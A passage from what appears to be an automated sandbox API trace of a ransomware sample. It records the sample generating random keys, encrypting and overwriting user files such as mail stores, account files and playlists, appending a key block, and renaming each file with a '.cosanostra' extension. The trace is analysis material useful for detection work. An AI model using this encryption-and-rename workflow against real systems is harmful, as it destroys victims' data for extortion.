(lpFirst="WindowsMail.MSMessageStore", lpSrch=".txt") returned 0x0 [0092.660] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.660] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff604, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff604*=0x2800, lpOverlapped=0x0) returned 1 [0092.660] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.660] WriteFile (in: hFile=0x138, lpBuffer=0x26ff644*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff604, lpOverlapped=0x0 | out: lpBuffer=0x26ff644*, lpNumberOfBytesWritten=0x26ff604*=0x4, lpOverlapped=0x0) returned 1 [0092.662] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff604, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff604*=0x30, lpOverlapped=0x0) returned 1 [0092.662] CloseHandle (hObject=0x138) returned 1 [0092.666] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.cosanostra") returned 106 [0092.666] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore.cosanostra")) returned 1 [0092.667] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff640 | out: pbBuffer=0x26ff640) returned 1 [0092.667] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff638*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff638*=0x30) returned 1 [0092.667] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.675] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 113 [0092.675] StrStrW (lpFirst="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpSrch=".txt") returned 0x0 [0092.676] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff938, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.677] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x26ff5fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff5fc*=0x6c8, lpOverlapped=0x0) returned 1 [0092.677] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.677] WriteFile (in: hFile=0x154, lpBuffer=0x26ff63c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff63c*, lpNumberOfBytesWritten=0x26ff5fc*=0x4, lpOverlapped=0x0) returned 1 [0092.677] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5fc*=0x30, lpOverlapped=0x0) returned 1 [0092.677] CloseHandle (hObject=0x154) returned 1 [0092.677] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.cosanostra") returned 124 [0092.677] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.cosanostra")) returned 1 [0092.678] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff640 | out: pbBuffer=0x26ff640) returned 1 [0092.678] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff638*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff638*=0x30) returned 1 [0092.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.679] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 113 [0092.679] StrStrW (lpFirst="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpSrch=".txt") returned 0x0 [0092.681] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffa1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.681] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x5e4, lpNumberOfBytesWritten=0x26ff5fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff5fc*=0x5e4, lpOverlapped=0x0) returned 1 [0092.681] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.681] WriteFile (in: hFile=0x154, lpBuffer=0x26ff63c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff63c*, lpNumberOfBytesWritten=0x26ff5fc*=0x4, lpOverlapped=0x0) returned 1 [0092.681] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5fc*=0x30, lpOverlapped=0x0) returned 1 [0092.681] CloseHandle (hObject=0x154) returned 1 [0092.682] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.cosanostra") returned 124 [0092.682] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.cosanostra")) returned 1 [0092.687] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff628 | out: pbBuffer=0x26ff628) returned 1 [0092.687] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff620*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff620*=0x30) returned 1 [0092.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.688] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 104 [0092.688] StrStrW (lpFirst="12_All_Video.wpl", lpSrch=".txt") returned 0x0 [0092.690] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffbc9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.690] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x437, lpNumberOfBytesWritten=0x26ff5e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff5e4*=0x437, lpOverlapped=0x0) returned 1 [0092.690] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.690] WriteFile (in: hFile=0x154, lpBuffer=0x26ff624*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff624*, lpNumberOfBytesWritten=0x26ff5e4*=0x4, lpOverlapped=0x0) returned 1 [0092.690] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5e4*=0x30, lpOverlapped=0x0) returned 1 [0092.690] CloseHandle (hObject=0x154) returned 1 [0092.690] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.cosanostra") returned 115 [0092.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.cosanostra")) returned 1 [0092.692] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff628 | out: pbBuffer=0x26ff628) returned 1 [0092.692] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff620*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff620*=0x30) returned 1 [0092.692] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.692] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 107 [0092.692] StrStrW (lpFirst="11_All_Pictures.wpl", lpSrch=".txt") returned 0x0 [0092.974] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffdb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.974] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x249, lpNumberOfBytesWritten=0x26ff5e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff5e4*=0x249, lpOverlapped=0x0) returned 1 [0092.974] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.974] WriteFile (in: hFile=0x154, lpBuffer=0x26ff624*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff624*, lpNumberOfBytesWritten=0x26ff5e4*=0x4, lpOverlapped=0x0) returned 1 [0092.975] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5e4*=0x30, lpOverlapped=0x0) returned 1 [0092.975] CloseHandle (hObject=0x154) returned 1 [0092.975] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.cosanostra") returned 118 [0092.975] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.cosanostra")) returned 1 [0092.975] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff620 | out: pbBuffer=0x26ff620) returned 1 [0092.976] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff618*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff618*=0x30) returned 1 [0092.976] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.976] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 122 [0092.976] StrStrW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0093.066] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffcef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.066] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x311, lpNumberOfBytesWritten=0x26ff5dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff5dc*=0x311, lpOverlapped=0x0) returned 1 [0093.066] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.066] WriteFile (in: hFile=0x154, lpBuffer=0x26ff61c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff61c*, lpNumberOfBytesWritten=0x26ff5dc*=0x4, lpOverlapped=0x0) returned 1 [0093.066] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5dc*=0x30, lpOverlapped=0x0) returned 1 [0093.067] CloseHandle (hObject=0x154) returned 1 [0093.081] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.cosanostra") returned 133 [0093.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.cosanostra")) returned 1 [0093.091] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff618 | out: pbBuffer=0x26ff618) returned 1 [0093.091] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff610*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff610*=0x30) returned 1 [0093.091] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0093.096] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt") returned 74 [0093.096] StrStrW (lpFirst="brndlog.txt", lpSrch=".txt") returned=".txt" [0093.096] lstrlenW (lpString=".txt") returned 4 [0093.096] lstrlenW (lpString=".txt") returned 4 [0093.097] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.097] WriteFile (in: hFile=0x154, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff5d4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff5d4*=0x2800, lpOverlapped=0x0) returned 1 [0093.098] ReadFile (in: hFile=0x154, lpBuffer=0x305c978, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ff5d4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesRead=0x26ff5d4*=0x7a9, lpOverlapped=0x0) returned 1 [0093.098] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff857, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.098] WriteFile (in: hFile=0x154, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x7a9, lpNumberOfBytesWritten=0x26ff5d4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff5d4*=0x7a9, lpOverlapped=0x0) returned 1 [0093.098] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.098] WriteFile (in: hFile=0x154, lpBuffer=0x26ff614*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff614*, lpNumberOfBytesWritten=0x26ff5d4*=0x4, lpOverlapped=0x0) returned 1 [0093.098] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5d4*=0x30, lpOverlapped=0x0) returned 1 [0093.098] CloseHandle (hObject=0x154) returned 1 [0093.099] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.cosanostra") returned 85 [0093.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.cosanostra")) returned 1 [0093.130] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff618 | out: pbBuffer=0x26ff618) returned 1 [0093.130] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff610*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff610*=0x30) returned 1 [0093.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.140] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff610 | out: pbBuffer=0x26ff610) returned 1 [0093.140] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff608*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff608*=0x30) returned 1 [0093.140] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.249] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5f8 | out: pbBuffer=0x26ff5f8) returned 1 [0093.250] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff5f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff5f0*=0x30) returned 1 [0093.250] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.250] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 127 [0093.250] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0093.302] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.302] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff5b4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff5b4*=0x2800, lpOverlapped=0x0) returned 1 [0093.302] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.302] WriteFile (in: hFile=0x138, lpBuffer=0x26ff5f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff5f4*, lpNumberOfBytesWritten=0x26ff5b4*=0x4, lpOverlapped=0x0) returned 1 [0093.459] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5b4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5b4*=0x30, lpOverlapped=0x0) returned 1 [0093.460] CloseHandle (hObject=0x138) returned 1 [0093.662] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.cosanostra") returned 138 [0093.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.cosanostra")) returned 1 [0093.933] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5e8 | out: pbBuffer=0x26ff5e8) returned 1 [0093.933] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, 